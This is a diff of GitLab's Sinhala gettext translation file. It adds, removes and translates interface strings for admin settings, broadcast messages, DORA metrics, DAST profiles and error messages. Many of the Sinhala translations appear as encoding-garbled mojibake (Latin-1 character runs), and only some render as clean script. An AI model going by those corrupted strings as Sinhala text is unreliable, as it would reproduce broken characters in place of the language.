@@ -1008,9 +1025,6 @@ msgid_plural "%{selectedProjectsCount} projects"
msgstr[0] ""
msgstr[1] ""
-msgid "%{size} %{unit}"
-msgstr "%{size} %{unit}"
-
msgid "%{size} GiB"
msgstr "ගිබි. %{size}"
@@ -1086,7 +1100,7 @@ msgstr[0] ""
msgstr[1] ""
msgid "%{strong_start}%{human_size}%{strong_end} Project Storage"
-msgstr ""
+msgstr "ව්â€à¶ºà·à¶´à·˜à¶­à·’යේ ආචයනය %{strong_start}%{human_size}%{strong_end}"
msgid "%{strong_start}%{release_count}%{strong_end} Release"
msgid_plural "%{strong_start}%{release_count}%{strong_end} Releases"
@@ -1116,11 +1130,6 @@ msgstr ""
msgid "%{text} is available"
msgstr "%{text} තිබේ"
-msgid "%{thenLabelStart}Then%{thenLabelEnd} Require %{approvalsRequired} approval from %{approverType}%{approvers}"
-msgid_plural "%{thenLabelStart}Then%{thenLabelEnd} Require %{approvalsRequired} approvals from %{approverType}%{approvers}"
-msgstr[0] ""
-msgstr[1] ""
-
msgid "%{timebox_type} does not support burnup charts"
msgstr ""
@@ -1541,9 +1550,9 @@ msgstr[0] "භූමික෠1"
msgstr[1] "භූමික෠%d"
msgid "1 user"
-msgid_plural "%{num} users"
-msgstr[0] "පරිà·à·“ලකයින් 1"
-msgstr[1] "පරිà·à·“ලකයින් %{num}"
+msgid_plural "%d users"
+msgstr[0] ""
+msgstr[1] ""
msgid "1 week remaining"
msgid_plural "%d weeks remaining"
@@ -1768,6 +1777,9 @@ msgstr ""
msgid "A sign-in to your account has been made from the following IP address: %{ip}"
msgstr ""
+msgid "A template for starting a new TYPO3 project"
+msgstr ""
+
msgid "A title is required"
msgstr "සිරà·à·ƒà·’යක් ඇවà·à·ƒà·’ය"
@@ -1912,9 +1924,6 @@ msgstr "AWS ප්â€à¶»à·€à·šà· යතුරු à·„à·à¶³à·”. (විකල්
msgid "AWS secret access key (Optional)"
msgstr "AWS රහස් ප්â€à¶»à·€à·šà· යතුර (විකල්ප)"
-msgid "AWS service error: %{error}"
-msgstr "AWS සේව෠දà·à·‚ය: %{error}"
-
msgid "Abort"
msgstr "අත්හරින්න"
@@ -1955,7 +1964,7 @@ msgid "Access Git repositories or the API."
msgstr ""
msgid "Access Token"
-msgstr ""
+msgstr "ප්â€à¶»à·€à·šà· නිමිත්ත"
msgid "Access Tokens"
msgstr ""
@@ -1963,9 +1972,6 @@ msgstr ""
msgid "Access denied for your LDAP account."
msgstr ""
-msgid "Access denied: %{error}"
-msgstr "ප්â€à¶»à·€à·šà·à¶º ප්â€à¶»à¶­à·’ක්â€à·‚ේපිතයි: %{error}"
-
msgid "Access expires"
msgstr "ප්â€à¶»à·€à·šà·à¶º ඉකුත්වීම"
@@ -2125,7 +2131,7 @@ msgstr "ක්â€à¶»à·’යà·à¶¸à·à¶»à·Šà¶œ"
msgid "Activate Service Desk"
msgstr ""
-msgid "Activated on"
+msgid "Activated"
msgstr ""
msgid "Active"
@@ -2156,10 +2162,10 @@ msgid "Add %{linkStart}assets%{linkEnd} to your Release. GitLab automatically in
msgstr ""
msgid "Add CHANGELOG"
-msgstr ""
+msgstr "වෙනස්කම් සටහනක් යොදන්න"
msgid "Add CONTRIBUTING"
-msgstr ""
+msgstr "දà·à¶ºà¶šà¶­à·Šâ€à·€à¶º යොදන්න"
msgid "Add Kubernetes cluster"
msgstr ""
@@ -2174,7 +2180,7 @@ msgid "Add New Site"
msgstr "නව අඩවියක් යොදන්න"
msgid "Add README"
-msgstr ""
+msgstr "මෙයකියවන්න යොදන්න"
msgid "Add Zoom meeting"
msgstr "සූම් රà·à·ƒà·Šà·€à·“මක් යොදන්න"
@@ -2203,6 +2209,9 @@ msgstr ""
msgid "Add a collapsible section"
msgstr ""
+msgid "Add a comment"
+msgstr ""
+
msgid "Add a comment to this line"
msgstr ""
@@ -2339,7 +2348,7 @@ msgid "Add labels"
msgstr ""
msgid "Add license"
-msgstr ""
+msgstr "බලපත්â€à¶»à¶ºà¶šà·Š යොදන්න"
msgid "Add list"
msgstr "ලේඛනය යොදන්න"
@@ -2348,7 +2357,7 @@ msgid "Add new application"
msgstr "නව යෙදුමක් එක් කරන්න"
msgid "Add new directory"
-msgstr "නව නà·à¶¸à·à·€à¶½à·’ය යොදන්න"
+msgstr "නව නà·à¶¸à·à·€à¶½à·’යක් යෙදීම"
msgid "Add or remove a user."
msgstr "පුද්ගලයෙක් එක්/ඉවත් කරන්න."
@@ -2581,15 +2590,18 @@ msgstr "සක්â€à¶»à·’ය පරිà·à·“ලකයින්"
msgid "AdminArea|All users created in the instance, including users who are not %{billable_users_link_start}billable users%{billable_users_link_end}."
msgstr ""
-msgid "AdminArea|Billable users"
-msgstr ""
-
msgid "AdminArea|Blocked users"
msgstr "අවහිර කළ පරිà·à·“ලකයින්"
msgid "AdminArea|Bots"
msgstr "ස්වයංක්â€à¶»à¶¸à¶½à·šà¶›"
+msgid "AdminArea|Breakdown of Billable users"
+msgstr ""
+
+msgid "AdminArea|Breakdown of Non-Billable users"
+msgstr ""
+
msgid "AdminArea|Components"
msgstr "සංරචක"
@@ -2671,9 +2683,18 @@ msgstr ""
msgid "AdminArea|Stopping jobs failed"
msgstr ""
+msgid "AdminArea|Total Billable users"
+msgstr ""
+
+msgid "AdminArea|Total Non-Billable users"
+msgstr ""
+
msgid "AdminArea|Total users"
msgstr "මුළු පරිà·à·“ලකයින්"
+msgid "AdminArea|Totals"
+msgstr ""
+
msgid "AdminArea|Updated %{last_update_time}"
msgstr ""
@@ -2701,6 +2722,12 @@ msgstr "නවතම පරිà·à·“ලකයින් බලන්න"
msgid "AdminArea|You’re about to stop all jobs. This will halt all current jobs that are running."
msgstr ""
+msgid "AdminArea|active users + blocked users"
+msgstr ""
+
+msgid "AdminArea|total billable + total non-billable"
+msgstr ""
+
msgid "AdminDashboard|Error loading the statistics. Please try again"
msgstr ""
@@ -2755,6 +2782,9 @@ msgstr ""
msgid "AdminSettings|Auto DevOps domain"
msgstr ""
+msgid "AdminSettings|By default, set a limit to 0 to have no limit."
+msgstr ""
+
msgid "AdminSettings|CI/CD limits"
msgstr "CI/CD සීමà·"
@@ -2824,6 +2854,9 @@ msgstr ""
msgid "AdminSettings|Enable kuromoji custom analyzer: Search"
msgstr ""
+msgid "AdminSettings|Enable migrating GitLab groups and projects by direct transfer"
+msgstr ""
+
msgid "AdminSettings|Enable pipeline suggestion banner"
msgstr ""
@@ -2911,6 +2944,9 @@ msgstr ""
msgid "AdminSettings|Maximum number of custom domains per project"
msgstr ""
+msgid "AdminSettings|Maximum number of downstream pipelines in a pipeline's hierarchy tree"
+msgstr ""
+
msgid "AdminSettings|Maximum number of jobs in a single pipeline"
msgstr ""
@@ -2998,9 +3034,6 @@ msgstr "2FA සබල විට ගිට් මෙහෙයුම් සඳහà
msgid "AdminSettings|Set a CI/CD template as the required pipeline configuration for all projects in the instance. Project CI/CD configuration merges into the required pipeline configuration when the pipeline runs. %{link_start}What is a required pipeline configuration?%{link_end}"
msgstr ""
-msgid "AdminSettings|Set limit to 0 to disable it."
-msgstr "එය අබල කිරීමට සීමà·à·€ 0 ට සකසන්න."
-
msgid "AdminSettings|Set the expiration time of authentication tokens of newly registered group runners."
msgstr ""
@@ -3046,6 +3079,9 @@ msgstr ""
msgid "AdminSettings|There are Advanced Search migrations pending that require indexing to pause. Indexing must remain paused until GitLab completes the migrations."
msgstr ""
+msgid "AdminSettings|This limit cannot be disabled. Set to 0 to block all DAG dependencies."
+msgstr ""
+
msgid "AdminSettings|To enable Registration Features, first enable Service Ping."
msgstr ""
@@ -3292,7 +3328,7 @@ msgstr ""
msgid "AdminUsers|Is using seat"
msgstr ""
-msgid "AdminUsers|Issues authored by this user are hidden from other users."
+msgid "AdminUsers|Issues and merge requests authored by this user are hidden from other users."
msgstr ""
msgid "AdminUsers|It's you!"
@@ -3337,6 +3373,9 @@ msgstr ""
msgid "AdminUsers|Personal projects, group and user history will be left intact"
msgstr ""
+msgid "AdminUsers|Private profile"
+msgstr ""
+
msgid "AdminUsers|Quota of CI/CD minutes"
msgstr ""
@@ -3595,6 +3634,9 @@ msgstr ""
msgid "After it expires, you can't use merge approvals, epics, or many security features."
msgstr ""
+msgid "After the Apple App Store Connect integration is activated, the following protected variables will be created for CI/CD use."
+msgstr ""
+
msgid "After the export is complete, download the data file from a notification email or from this page. You can then import the data file from the %{strong_text_start}Create new group%{strong_text_end} page of another GitLab instance."
msgstr ""
@@ -4237,9 +4279,6 @@ msgstr ""
msgid "An error occurred while approving, please try again."
msgstr ""
-msgid "An error occurred while authorizing your role"
-msgstr ""
-
msgid "An error occurred while checking group path. Please refresh and try again."
msgstr ""
@@ -4408,15 +4447,6 @@ msgstr "ඒකà·à¶¶à¶¯à·Šà¶° ඉල්ලීම් පූරණය කිරී
msgid "An error occurred while loading projects."
msgstr "ව්â€à¶ºà·à¶´à·˜à¶­à·’ පූරණය කිරීමේදී දà·à·‚යක් ඇති විය."
-msgid "An error occurred while loading the Jobs tab."
-msgstr ""
-
-msgid "An error occurred while loading the Needs tab."
-msgstr ""
-
-msgid "An error occurred while loading the Test Reports tab."
-msgstr ""
-
msgid "An error occurred while loading the blob controls."
msgstr ""
@@ -4450,9 +4480,6 @@ msgstr "ඒකà·à¶¶à¶¯à·Šà¶° ඉල්ලීම පූරණයේ දී දà·
msgid "An error occurred while loading the notification settings. Please try again."
msgstr "දà·à¶±à·”ම්දීමේ à·ƒà·à¶šà·ƒà·”ම් පූරණයේ දී දà·à·‚යකි. නà·à·€à¶­ උත්සà·à·„ කරන්න."
-msgid "An error occurred while loading the pipeline."
-msgstr ""
-
msgid "An error occurred while loading the pipelines jobs."
msgstr ""
@@ -4704,6 +4731,18 @@ msgstr ""
msgid "Append the comment with %{tableflip}"
msgstr ""
+msgid "AppleAppStore|The Apple App Store Connect Issuer ID."
+msgstr ""
+
+msgid "AppleAppStore|The Apple App Store Connect Key ID."
+msgstr ""
+
+msgid "AppleAppStore|The Apple App Store Connect Private Key."
+msgstr ""
+
+msgid "AppleAppStore|Use GitLab to build and release an app in the Apple App Store."
+msgstr ""
+
msgid "Application"
msgstr "යෙදුම"
@@ -4846,9 +4885,6 @@ msgstr ""
msgid "ApplicationSettings|Send a confirmation email during sign up. New users must confirm their email address before they can log in."
msgstr ""
-msgid "ApplicationSettings|Send confirmation email on sign-up"
-msgstr ""
-
msgid "ApplicationSettings|Sign-up enabled"
msgstr ""
@@ -4938,6 +4974,9 @@ msgstr "යà·à¶¢à¶±à·à·€ යෙදෙමින්..."
msgid "Applying suggestions..."
msgstr "යà·à¶¢à¶±à· යෙදෙමින්..."
+msgid "Approval options"
+msgstr ""
+
msgid "Approval rules"
msgstr "අනුමà·à¶­à·’ නීති"
@@ -5078,6 +5117,9 @@ msgstr ""
msgid "Approvals are optional."
msgstr ""
+msgid "Approvals required"
+msgstr ""
+
msgid "Approvals|Section: %section"
msgstr ""
@@ -5629,6 +5671,9 @@ msgstr ""
msgid "AuditStreams|Custom HTTP headers (optional)"
msgstr ""
+msgid "AuditStreams|Defines which streaming events are captured"
+msgstr ""
+
msgid "AuditStreams|Delete %{link}"
msgstr "%{link} මකන්න"
@@ -5644,12 +5689,18 @@ msgstr ""
msgid "AuditStreams|Edit %{link}"
msgstr ""
+msgid "AuditStreams|Event filtering (optional)"
+msgstr ""
+
msgid "AuditStreams|Header"
msgstr "à·à·Šâ€à¶»à·“ර්ෂය"
msgid "AuditStreams|Maximum of %{number} HTTP headers has been reached."
msgstr "උපරිම HTTP à·à·Šâ€à¶»à·“ර්ෂ %{number} වෙත ළඟ෠වී ඇත."
+msgid "AuditStreams|No filters available. %{linkStart}How do I add a filter?%{linkEnd}"
+msgstr ""
+
msgid "AuditStreams|Remove custom header"
msgstr ""
@@ -7221,9 +7272,93 @@ msgstr ""
msgid "Broadcast Messages"
msgstr ""
+msgid "BroadcastMessages|Add broadcast message"
+msgstr ""
+
+msgid "BroadcastMessages|Allow users to dismiss the broadcast message"
+msgstr ""
+
+msgid "BroadcastMessages|Banner"
+msgstr ""
+
+msgid "BroadcastMessages|Blue"
+msgstr ""
+
+msgid "BroadcastMessages|Dark"
+msgstr ""
+
+msgid "BroadcastMessages|Dismissable"
+msgstr ""
+
+msgid "BroadcastMessages|Ends at"
+msgstr ""
+
+msgid "BroadcastMessages|Green"
+msgstr ""
+
+msgid "BroadcastMessages|Indigo"
+msgstr ""
+
+msgid "BroadcastMessages|Light"
+msgstr ""
+
+msgid "BroadcastMessages|Light Blue"
+msgstr ""
+
+msgid "BroadcastMessages|Light Green"
+msgstr ""
+
+msgid "BroadcastMessages|Light Indigo"
+msgstr ""
+
+msgid "BroadcastMessages|Light Red"
+msgstr ""
+
+msgid "BroadcastMessages|Message"
+msgstr ""
+
+msgid "BroadcastMessages|Notification"
+msgstr ""
+
+msgid "BroadcastMessages|Paths can contain wildcards, like */welcome"
+msgstr ""
+
+msgid "BroadcastMessages|Red"
+msgstr ""
+
+msgid "BroadcastMessages|Starts at"
+msgstr ""
+
+msgid "BroadcastMessages|Target Path"
+msgstr ""
+
+msgid "BroadcastMessages|Target roles"
+msgstr ""
+
+msgid "BroadcastMessages|The broadcast message displays only to users in projects and groups who have these roles."
+msgstr ""
+
+msgid "BroadcastMessages|Theme"
+msgstr ""
+
+msgid "BroadcastMessages|There was an error adding broadcast message."
+msgstr ""
+
+msgid "BroadcastMessages|There was an error updating broadcast message."
+msgstr ""
+
msgid "BroadcastMessages|There was an issue deleting this message, please try again later."
msgstr ""
+msgid "BroadcastMessages|Type"
+msgstr ""
+
+msgid "BroadcastMessages|Update broadcast message"
+msgstr ""
+
+msgid "BroadcastMessages|Your message here"
+msgstr ""
+
msgid "Browse Directory"
msgstr "නà·à¶¸à·à·€à¶½à·’ය පිරික්සන්න"
@@ -7312,7 +7447,7 @@ msgid "BulkImport|Name already used as a target for another group."
msgstr "අන් සමූහකට ඉලක්කයක් ලෙස නම භà·à·€à·’ත෠කර ඇත."
msgid "BulkImport|New group"
-msgstr ""
+msgstr "නව සමූහය"
msgid "BulkImport|No additional information provided."
msgstr "අතිරේක තොරතුරු සපය෠නà·à¶­."
@@ -7330,7 +7465,7 @@ msgid "BulkImport|Only groups that you have the %{role} role for are listed as g
msgstr ""
msgid "BulkImport|Path of the new group."
-msgstr ""
+msgstr "නව සමූහයේ මà·à¶»à·Šà¶œà¶º."
msgid "BulkImport|Project import history"
msgstr "ව්â€à¶ºà·à¶´à·˜à¶­à·’ය ආයà·à¶­ ඉතිහà·à·ƒà¶º"
@@ -7820,6 +7955,9 @@ msgstr ""
msgid "Cannot promote issue due to insufficient permissions."
msgstr ""
+msgid "Cannot push to source branch"
+msgstr ""
+
msgid "Cannot refer to a group milestone by an internal id!"
msgstr ""
@@ -7931,13 +8069,10 @@ msgstr "මුරපදය සංà·à·à¶°à¶±à¶º"
msgid "Change your password or recover your current one"
msgstr ""
-msgid "ChangeReviewer|Reviewer changed from %{old} to %{new}"
+msgid "ChangeReviewer|%{added_reviewers_text}%{removed_reviewers_text}"
msgstr ""
-msgid "ChangeReviewer|Reviewer changed to %{new}"
-msgstr ""
-
-msgid "ChangeReviewer|Unassigned"
+msgid "ChangeReviewer|All reviewers were removed."
msgstr ""
msgid "ChangeTypeAction|Cherry-pick"
@@ -8220,6 +8355,9 @@ msgstr "ගෙවීමට ඉදිරියට"
msgid "Checkout|Country"
msgstr "රට"
+msgid "Checkout|Coupon code (optional)"
+msgstr ""
+
msgid "Checkout|Create a new group"
msgstr "නව සමූහයක් à·ƒà·à¶¯à¶±à·Šà¶±"
@@ -8379,12 +8517,6 @@ msgstr ""
msgid "Child epic"
msgstr ""
-msgid "Child epic does not exist."
-msgstr ""
-
-msgid "Child epic doesn't exist."
-msgstr ""
-
msgid "Child issues and epics"
msgstr ""
@@ -8568,6 +8700,9 @@ msgstr ""
msgid "CiVariables|This %{entity} has %{currentVariableCount} defined CI/CD variables. The maximum number of variables per %{entity} is %{maxVariableLimit}. To add new variables, you must reduce the number of defined variables."
msgstr ""
+msgid "CiVariables|Trigger this manual action"
+msgstr ""
+
msgid "CiVariables|Type"
msgstr "වර්ගය"
@@ -8693,6 +8828,9 @@ msgstr ""
msgid "Click the link below to confirm your email address."
msgstr ""
+msgid "Click to expand"
+msgstr ""
+
msgid "Click to expand it."
msgstr ""
@@ -8795,12 +8933,18 @@ msgstr ""
msgid "Closed this %{quick_action_target}."
msgstr ""
+msgid "Closed this issue. Marked as related to, and a duplicate of, %{duplicate_param}."
+msgstr ""
+
msgid "Closed: %{closed}"
msgstr "වස෠ඇත: %{closed}"
msgid "Closes this %{quick_action_target}."
msgstr ""
+msgid "Closes this issue. Marks as related to, and a duplicate of, %{duplicate_reference}."
+msgstr ""
+
msgid "Cloud Run"
msgstr ""
@@ -9278,7 +9422,7 @@ msgid "ClusterAgents|Use a Helm version compatible with your Kubernetes version
msgstr ""
msgid "ClusterAgents|Valid access token"
-msgstr ""
+msgstr "වලංගු ප්â€à¶»à·€à·šà· නිමිත්ත"
msgid "ClusterAgents|View all %{number} agents"
msgstr ""
@@ -9466,21 +9610,6 @@ msgstr ""
msgid "ClusterIntegration|Every new Google Cloud Platform (GCP) account receives $300 in credit upon %{sign_up_link}. In partnership with Google, GitLab is able to offer an additional $200 for both new and existing GCP accounts to get started with GitLab's Google Kubernetes Engine Integration."
msgstr ""
-msgid "ClusterIntegration|Failed to configure EKS provider: %{message}"
-msgstr ""
-
-msgid "ClusterIntegration|Failed to configure Google Kubernetes Engine Cluster: %{message}"
-msgstr ""
-
-msgid "ClusterIntegration|Failed to fetch CloudFormation stack: %{message}"
-msgstr ""
-
-msgid "ClusterIntegration|Failed to request to Google Cloud Platform: %{message}"
-msgstr ""
-
-msgid "ClusterIntegration|Failed to run Kubeclient: %{message}"
-msgstr ""
-
msgid "ClusterIntegration|GitLab Integration"
msgstr "ගිට්ලà·à¶¶à·Š අනුකලනය"
@@ -9969,6 +10098,9 @@ msgstr ""
msgid "Committed by"
msgstr ""
+msgid "CommonJS module"
+msgstr ""
+
msgid "Community forum"
msgstr "ප්â€à¶»à¶¢à· සංසදය"
@@ -10511,7 +10643,7 @@ msgid "ContainerRegistry|%{title} was successfully scheduled for deletion"
msgstr ""
msgid "ContainerRegistry|-- tags"
-msgstr ""
+msgstr "-- අනන්â€à¶ºà¶±"
msgid "ContainerRegistry|Build an image"
msgstr ""
@@ -10860,6 +10992,9 @@ msgstr ""
msgid "Continue to the next step"
msgstr ""
+msgid "Continue with overages"
+msgstr ""
+
msgid "Continuous Integration and Deployment"
msgstr ""
@@ -11253,6 +11388,9 @@ msgstr ""
msgid "Country"
msgstr ""
+msgid "Counts"
+msgstr ""
+
msgid "Counts reflect children you may not have access to."
msgstr ""
@@ -11278,7 +11416,7 @@ msgid "Create %{workspace} label"
msgstr ""
msgid "Create New Directory"
-msgstr ""
+msgstr "නව නà·à¶¸à·à·€à¶½à·’ය à·ƒà·à¶¯à¶±à·Šà¶±"
msgid "Create New Domain"
msgstr ""
@@ -11305,7 +11443,7 @@ msgid "Create a new %{codeStart}.gitlab-ci.yml%{codeEnd} file at the root of the
msgstr ""
msgid "Create a new branch"
-msgstr ""
+msgstr "නව à·à·à¶›à·à·€à¶šà·Š à·ƒà·à¶¯à¶±à·Šà¶±"
msgid "Create a new file as there are no files yet. Afterwards, you'll be able to commit your changes."
msgstr ""
@@ -11410,25 +11548,25 @@ msgid "Create new Value Stream"
msgstr ""
msgid "Create new branch"
-msgstr ""
+msgstr "නව à·à·à¶›à·à·€ à·ƒà·à¶¯à¶±à·Šà¶±"
msgid "Create new confidential %{issuableType}"
msgstr ""
msgid "Create new directory"
-msgstr ""
+msgstr "නව නà·à¶¸à·à·€à¶½à·’ය à·ƒà·à¶¯à¶±à·Šà¶±"
msgid "Create new file"
msgstr ""
msgid "Create new file or directory"
-msgstr ""
+msgstr "නව ගොනුවක් හ෠නà·à¶¸à·à·€à¶½à·’යක් à·ƒà·à¶¯à¶±à·Šà¶±"
msgid "Create new label"
msgstr ""
msgid "Create new..."
-msgstr ""
+msgstr "අළුතින් à·ƒà·à¶¯à¶±à·Šà¶±..."
msgid "Create one"
msgstr ""
@@ -12149,6 +12287,9 @@ msgstr ""
msgid "CycleAnalytics|project dropdown filter"
msgstr ""
+msgid "CycleAnalytics|the assigned object is not supported"
+msgstr ""
+
msgid "DAG visualization requires at least 3 dependent jobs."
msgstr ""
@@ -12173,6 +12314,9 @@ msgstr ""
msgid "DORA4Metrics|Average (last %{days}d)"
msgstr ""
+msgid "DORA4Metrics|Average number of deployments to production per day. This metric measures how often value is delivered to end users."
+msgstr ""
+
msgid "DORA4Metrics|Change Failure Rate"
msgstr ""
@@ -12185,7 +12329,10 @@ msgstr ""
msgid "DORA4Metrics|Cycle time"
msgstr ""
-msgid "DORA4Metrics|DORA metrics for %{groupName} group"
+msgid "DORA4Metrics|DORA metrics for %{name} group"
+msgstr ""
+
+msgid "DORA4Metrics|DORA metrics for %{name} project"
msgstr ""
msgid "DORA4Metrics|Date"
@@ -12206,6 +12353,12 @@ msgstr ""
msgid "DORA4Metrics|Deploys"
msgstr ""
+msgid "DORA4Metrics|Failed to load charts"
+msgstr ""
+
+msgid "DORA4Metrics|Go to docs"
+msgstr ""
+
msgid "DORA4Metrics|Lead Time for Changes"
msgstr ""
@@ -12227,6 +12380,12 @@ msgstr ""
msgid "DORA4Metrics|Median time an incident was open in a production environment over the given time period."
msgstr ""
+msgid "DORA4Metrics|Median time from issue created to issue closed."
+msgstr ""
+
+msgid "DORA4Metrics|Median time from the earliest commit of a linked issue's merge request to when that issue is closed."
+msgstr ""
+
msgid "DORA4Metrics|Month to date"
msgstr ""
@@ -12245,6 +12404,15 @@ msgstr ""
msgid "DORA4Metrics|Number of incidents divided by the number of deployments to a production environment in the given time period."
msgstr ""
+msgid "DORA4Metrics|Number of new issues created."
+msgstr ""
+
+msgid "DORA4Metrics|Past 6 Months"
+msgstr ""
+
+msgid "DORA4Metrics|Percentage of deployments that cause an incident in production."
+msgstr ""
+
msgid "DORA4Metrics|Percentage of failed deployments"
msgstr ""
@@ -12266,6 +12434,12 @@ msgstr ""
msgid "DORA4Metrics|The chart displays the median time between a merge request being merged and deployed to production environment(s) that are based on the %{linkStart}deployment_tier%{linkEnd} value."
msgstr ""
+msgid "DORA4Metrics|The time it takes an organization to recover from a failure in production."
+msgstr ""
+
+msgid "DORA4Metrics|The time to successfully deliver a commit into production. This metric reflects the efficiency of CI/CD pipelines."
+msgstr ""
+
msgid "DORA4Metrics|Time to Restore Service"
msgstr ""
@@ -12275,6 +12449,9 @@ msgstr "සේවà·à·€ ප්â€à¶»à¶­à·Šâ€à¶ºà¶»à·Šà¶´à¶«à¶ºà¶§ කà·à¶½à¶º"
msgid "DORA4Metrics|Time to restore service (median days)"
msgstr ""
+msgid "DORA4Metrics|Total number of deploys to production."
+msgstr ""
+
msgid "DSN"
msgstr ""
@@ -12290,9 +12467,6 @@ msgstr "සියල්ල"
msgid "DashboardProjects|Personal"
msgstr "පෞද්ගලික"
-msgid "DashboardProjects|Trending"
-msgstr "නà·à¶œà·“ එන"
-
msgid "Dashboards"
msgstr "උපකරණ පුවරු"
@@ -12330,7 +12504,7 @@ msgid "DastConfig|Not enabled"
msgstr ""
msgid "DastProfiles|/graphql"
-msgstr ""
+msgstr "/graphql"
msgid "DastProfiles|A passive scan monitors all HTTP messages (requests and responses) sent to the target. An active scan attacks the target to find potential vulnerabilities."
msgstr ""
@@ -12537,7 +12711,7 @@ msgid "DastProfiles|Save profile"
msgstr ""
msgid "DastProfiles|Scan Method"
-msgstr ""
+msgstr "සුපිරික්සන ක්â€à¶»à¶¸à¶º"
msgid "DastProfiles|Scan method"
msgstr ""
@@ -12549,10 +12723,10 @@ msgid "DastProfiles|Scanner name"
msgstr ""
msgid "DastProfiles|Scanner profile"
-msgstr ""
+msgstr "සුපිරික්සනයේ පà·à¶­à·’කඩ"
msgid "DastProfiles|Scanner profiles"
-msgstr ""
+msgstr "සුපිරික්සන පà·à¶­à·’කඩ"
msgid "DastProfiles|Select a scanner profile to run a DAST scan"
msgstr ""
@@ -13210,11 +13384,10 @@ msgstr ""
msgid "DeletionSettings|Keep deleted"
msgstr ""
-msgid "DeletionSettings|Keep deleted projects for %{number} days"
-msgstr ""
-
-msgid "DeletionSettings|Keep deleted projects for 1 day"
-msgstr ""
+msgid "DeletionSettings|Keep deleted projects for %{number} day"
+msgid_plural "DeletionSettings|Keep deleted projects for %{number} days"
+msgstr[0] ""
+msgstr[1] ""
msgid "DeletionSettings|None, delete immediately"
msgstr ""
@@ -13279,6 +13452,9 @@ msgstr ""
msgid "Dependencies|Dependency path"
msgstr ""
+msgid "Dependencies|Error exporting the dependency list. Please reload the page."
+msgstr ""
+
msgid "Dependencies|Export as JSON"
msgstr ""
@@ -13660,9 +13836,15 @@ msgstr ""
msgid "Deployment Target|Select the deployment target"
msgstr ""
+msgid "Deployment approvals is not configured for this environment."
+msgstr ""
+
msgid "Deployment frequency"
msgstr ""
+msgid "DeploymentApprovals|Allow pipeline triggerer to approve deployment."
+msgstr ""
+
msgid "DeploymentApprovals|Approvals"
msgstr ""
@@ -13678,6 +13860,12 @@ msgstr ""
msgid "DeploymentApprovals|Maintainers"
msgstr ""
+msgid "DeploymentApprovals|Set how approval rules are applied to deployments in protected environments."
+msgstr ""
+
+msgid "DeploymentApprovals|When a pipeline runs, deployment jobs will automatically be approved in the pipeline if the triggerer is allowed to approve."
+msgstr ""
+
msgid "DeploymentApproval| Current approvals: %{current}"
msgstr ""
@@ -13761,6 +13949,12 @@ msgid_plural "Deployments|%{deployments} environments impacted."
msgstr[0] ""
msgstr[1] ""
+msgid "Deployments|Define environments in the deploy stage(s) in %{code_open}.gitlab-ci.yml%{code_close} to track deployments here."
+msgstr ""
+
+msgid "Deployments|You don't have any deployments right now."
+msgstr ""
+
msgid "Deployment|API"
msgstr ""
@@ -14030,7 +14224,7 @@ msgstr ""
msgid "DevOps adoption"
msgstr ""
-msgid "DevOps metrics comparison (Alpha)"
+msgid "DevOps metrics comparison (Beta)"
msgstr ""
msgid "Developer"
@@ -14255,6 +14449,9 @@ msgstr ""
msgid "Difference between start date and now"
msgstr ""
+msgid "Different user's signature"
+msgstr ""
+
msgid "DiffsCompareBaseBranch|(HEAD)"
msgstr ""
@@ -14597,7 +14794,7 @@ msgid "Download raw data (.csv)"
msgstr ""
msgid "Download source code"
-msgstr ""
+msgstr "මූලà·à·à·Šâ€à¶» කේත බà·à¶œà¶±à·Šà¶±"
msgid "Download this directory"
msgstr ""
@@ -14630,16 +14827,16 @@ msgid "Drag your designs here or %{linkStart}click to upload%{linkEnd}."
msgstr ""
msgid "Drop or %{linkStart}upload%{linkEnd} file to attach"
-msgstr ""
+msgstr "ඇමිණීමට ගොනුවක් දමන්න හ෠%{linkStart}උඩුගත කරන්න%{linkEnd}"
msgid "Drop or %{linkStart}upload%{linkEnd} files to attach"
-msgstr ""
+msgstr "ඇමිණීමට ගොනුවක් දමන්න හ෠%{linkStart}උඩුගත කරන්න%{linkEnd}"
msgid "Drop your designs to start your upload."
msgstr ""
msgid "Drop your files to start your upload."
-msgstr ""
+msgstr "උඩුගත කිරීම ආරම්භයට ගොනු අතහරින්න."
msgid "DropdownWidget|An error occurred while fetching the assigned %{issuableAttribute} of the selected %{issuableType}."
msgstr ""
@@ -14746,6 +14943,9 @@ msgstr ""
msgid "E-mail:"
msgstr "වි-තà·à¶´à·‘ල:"
+msgid "ESM module"
+msgstr ""
+
msgid "Each project can also have an issue tracker and a wiki."
msgstr ""
@@ -15764,7 +15964,7 @@ msgid "Error creating label."
msgstr ""
msgid "Error creating new directory. Please try again."
-msgstr ""
+msgstr "නව නà·à¶¸à·à·€à¶½à·’යක් සෑදීමේදී දà·à·‚යකි. නà·à·€à¶­ උත්සà·à·„ කරන්න."
msgid "Error creating new iteration"
msgstr ""
@@ -15920,10 +16120,10 @@ msgid "Error updating the snippet"
msgstr ""
msgid "Error uploading file"
-msgstr ""
+msgstr "ගොනුව උඩුගත කිරීමේ දà·à·‚යකි"
msgid "Error uploading file. Please try again."
-msgstr ""
+msgstr "ගොනුව උඩුගත කිරීමේ දà·à·‚යකි. යළි උත්සà·à·„ කරන්න."
msgid "Error while loading the merge request. Please try again."
msgstr ""
@@ -15943,10 +16143,7 @@ msgstr ""
msgid "Error: Couldn't load some or all of the changes."
msgstr ""
-msgid "Error: No AWS credentials were supplied"
-msgstr ""
-
-msgid "Error: No AWS provision role found for user"
+msgid "Error: Gitaly is unavailable. Contact your administrator."
msgstr ""
msgid "Error: Unable to create deploy freeze"
@@ -15955,9 +16152,6 @@ msgstr ""
msgid "Error: Unable to delete deploy freeze"
msgstr ""
-msgid "Error: Unable to find AWS role for current user"
-msgstr ""
-
msgid "ErrorTracking|Access token is %{token_in_code_tag}"
msgstr ""
@@ -16455,9 +16649,6 @@ msgstr ""
msgid "Expires %{preposition} %{expires_at}"
msgstr "%{preposition} %{expires_at} ඉකුත් වේ"
-msgid "Expires on"
-msgstr ""
-
msgid "Expires:"
msgstr ""
@@ -16491,9 +16682,6 @@ msgstr "පොදු ව්â€à¶ºà·à¶´à·˜à¶­à·’ ගවේà·à¶±à¶º"
msgid "Explore snippets"
msgstr ""
-msgid "Explore topics"
-msgstr "මà·à¶­à·˜à¶šà· ගවේà·à¶±à¶º"
-
msgid "Export"
msgstr ""
@@ -16813,9 +17001,6 @@ msgstr ""
msgid "Failed to move this issue because target project doesn't exist."
msgstr ""
-msgid "Failed to promote issue to incident"
-msgstr ""
-
msgid "Failed to promote label due to internal error. Please contact administrators."
msgstr ""
